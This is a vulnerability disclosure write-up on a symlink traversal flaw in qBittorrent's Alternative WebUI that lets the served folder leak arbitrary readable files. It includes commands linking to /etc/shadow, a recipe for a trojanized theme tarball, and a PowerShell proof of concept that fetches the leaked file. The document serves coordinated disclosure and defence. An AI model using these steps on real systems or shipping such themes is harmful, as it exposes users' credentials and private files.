Finding a Symlink Traversal in qBittorrent’s Alternative WebUI

This vulnerability was reported on 3/12/2026 and is being made public after a 90 day disclosure window.

TLDR

I found a symlink traversal vulnerability in qBittorrent’s Alternative WebUI feature that allows reading arbitrary files accessible to the qBittorrent process. The bug is an off-by-one in scope: the existing symlink validation loop checks every parent directory in the path, but never checks the served file itself. A symlink placed directly in the alt UI directory slips through the guard completely.

CVE: N/A
Fixed in: N/A
CVSS 3.1: 3.9 (Low) — AV:L/AC:H/PR:L/UI:R/S:U/C:H/I:N/A:N

Background

qBittorrent supports an Alternative WebUI feature that lets users replace the built-in web interface with a custom one. When enabled, qBittorrent serves static files from a user-configured directory. Since serving arbitrary files from disk is inherently risky, qBittorrent has two guards in place:

  1. A regular file check only std::filesystem::is_regular_file() results are served
  2. A symlink walk walks up the directory tree checking each component for symlinks

The idea is straightforward: don’t serve symlinks, don’t serve directories, don’t serve special files. But the implementation has a gap.

The Bug

Here’s the relevant code from src/webui/webapplication.cpp (simplified):

// Guard 1: only serve regular files
if (!Utils::Fs::isRegularFile(localPath))
throw InternalServerErrorHTTPError("Unacceptable file type, only regular file is allowed.");
// Guard 2: walk the path checking for symlinks
QFileInfo fileInfo {localPath.parentPath().data()}; // <-- starts at PARENT
while (fileInfo.path() != rootFolder)
{
if (fileInfo.isSymLink())
throw InternalServerErrorHTTPError("Symlinks inside alternative UI folder are forbidden.");
fileInfo.setFile(fileInfo.path());
}

The two guards are each doing their job, but they leave a gap between them:

  • Guard 1 calls is_regular_file(), which follows symlinks. A symlink pointing to a regular file passes this check, it looks regular.
  • Guard 2 calls isSymLink() on each path component, which does not follow symlinks, exactly what you want. But it starts at localPath.parentPath(), so the file itself is never inspected.

The result: a symlink sitting directly in the served directory pointing to a regular file passes both guards.

Exploitation

The exploit is trivial. Create a symlink inside the alt WebUI’s public directory pointing to any file the qBittorrent process can read, then request it through the WebUI.

Linux:

ln -s /etc/shadow /path/to/altui/public/leak.txt
curl http://localhost:8080/leak.txt
# => contents of /etc/shadow

Windows (requires administrator for symlink creation):

mklink C:\qbt-altui\public\leak.txt C:\Users\admin\Documents\sensitive.txt

The realistic attack: malicious alt WebUI themes

The most practical attack vector isn’t manually planting symlinks, it’s distributing a malicious alt WebUI theme. A tarball containing a symlink can be crafted easily:

mkdir -p evil-theme/public
echo '<html><body>Nice theme</body></html>' > evil-theme/public/index.html
ln -s /etc/shadow evil-theme/public/leak.txt
tar czf evil-theme.tar.gz evil-theme/

A user who downloads and extracts this theme, then points qBittorrent’s alt WebUI setting at it, unknowingly exposes files on their system. The theme looks and functions normally, there’s no visible indication anything is wrong.

This is particularly concerning because alt WebUI themes are community-distributed and there is no code signing or integrity checking mechanism.

POC

# qBittorrent Alt WebUI Symlink Traversal PoC (Windows)
# Requires: Administrator or Developer Mode enabled
#
# Usage:
# .\poc_windows.ps1
# .\poc_windows.ps1 -Target "C:\Users\admin\Documents\secrets.txt"
# .\poc_windows.ps1 -WebUIPort 9090
param(
[string]$Target = "C:\Windows\win.ini",
[string]$ThemeDir = "$env:TEMP\qbt-theme",
[int]$WebUIPort = 8080
)
Write-Host "`n=== qBittorrent Alt WebUI Symlink Traversal PoC ===" -ForegroundColor Cyan
# Clean up any previous run
if (Test-Path $ThemeDir) { Remove-Item -Recurse -Force $ThemeDir }
# Create theme structure
New-Item -ItemType Directory -Path "$ThemeDir\public" -Force | Out-Null
New-Item -ItemType Directory -Path "$ThemeDir\private" -Force | Out-Null
$html = @"
<!DOCTYPE html>
<html><head><title>qBittorrent</title></head>
<body><p>Loading...</p>
<script>window.location = '/api/v2/auth/login';</script>
</body></html>
"@
$html | Set-Content "$ThemeDir\public\index.html"
$html | Set-Content "$ThemeDir\private\index.html"
# Create symlink (requires admin or Developer Mode)
try {
New-Item -ItemType SymbolicLink -Path "$ThemeDir\public\leak.txt" -Target $Target -ErrorAction Stop | Out-Null
Write-Host "[+] Symlink created: public\leak.txt -> $Target" -ForegroundColor Green
} catch {
Write-Host "[!] Failed to create symlink. Run as Administrator or enable Developer Mode." -ForegroundColor Red
exit 1
}
Write-Host "`n[*] Theme directory: $ThemeDir" -ForegroundColor Yellow
Write-Host "[*] Configure qBittorrent:" -ForegroundColor Yellow
Write-Host " 1. Options > Web UI > Use alternative Web UI" -ForegroundColor White
Write-Host " 2. Set path to: $ThemeDir" -ForegroundColor White
Write-Host " 3. Browse to: http://localhost:$WebUIPort/leak.txt" -ForegroundColor White
# If qBittorrent WebUI is already running, try to fetch the file
Write-Host "`n[*] Attempting to fetch leak.txt..." -ForegroundColor Yellow
try {
$response = Invoke-WebRequest -Uri "http://localhost:$WebUIPort/leak.txt" -UseBasicParsing -ErrorAction Stop
Write-Host "[+] VULNERABILITY CONFIRMED - File contents:" -ForegroundColor Red
Write-Host $response.Content -ForegroundColor Red
} catch {
Write-Host "[*] Could not reach WebUI at port $WebUIPort. Enable alt WebUI and try manually." -ForegroundColor Yellow
}

Severity

I rated this Low (CVSS 3.9) because exploitation requires a very specific chain of conditions:

  • Alternative WebUI must be enabled (off by default)
  • The attacker needs write access to the alt WebUI directory (either directly or via a trojanized theme)
  • The qBittorrent process must have read access to the target file
  • On Windows, symlink creation requires administrator privileges, which makes the bug nearly irrelevant there

Despite the low severity score, the malicious theme vector is worth taking seriously. Users installing third-party themes have no reason to expect that doing so could expose arbitrary files on their system.

Timeline

  • 03/12/2026: Vulnerability reported via GitHub private security advisory
  • 07/03/2026: Public disclosure

Leave a comment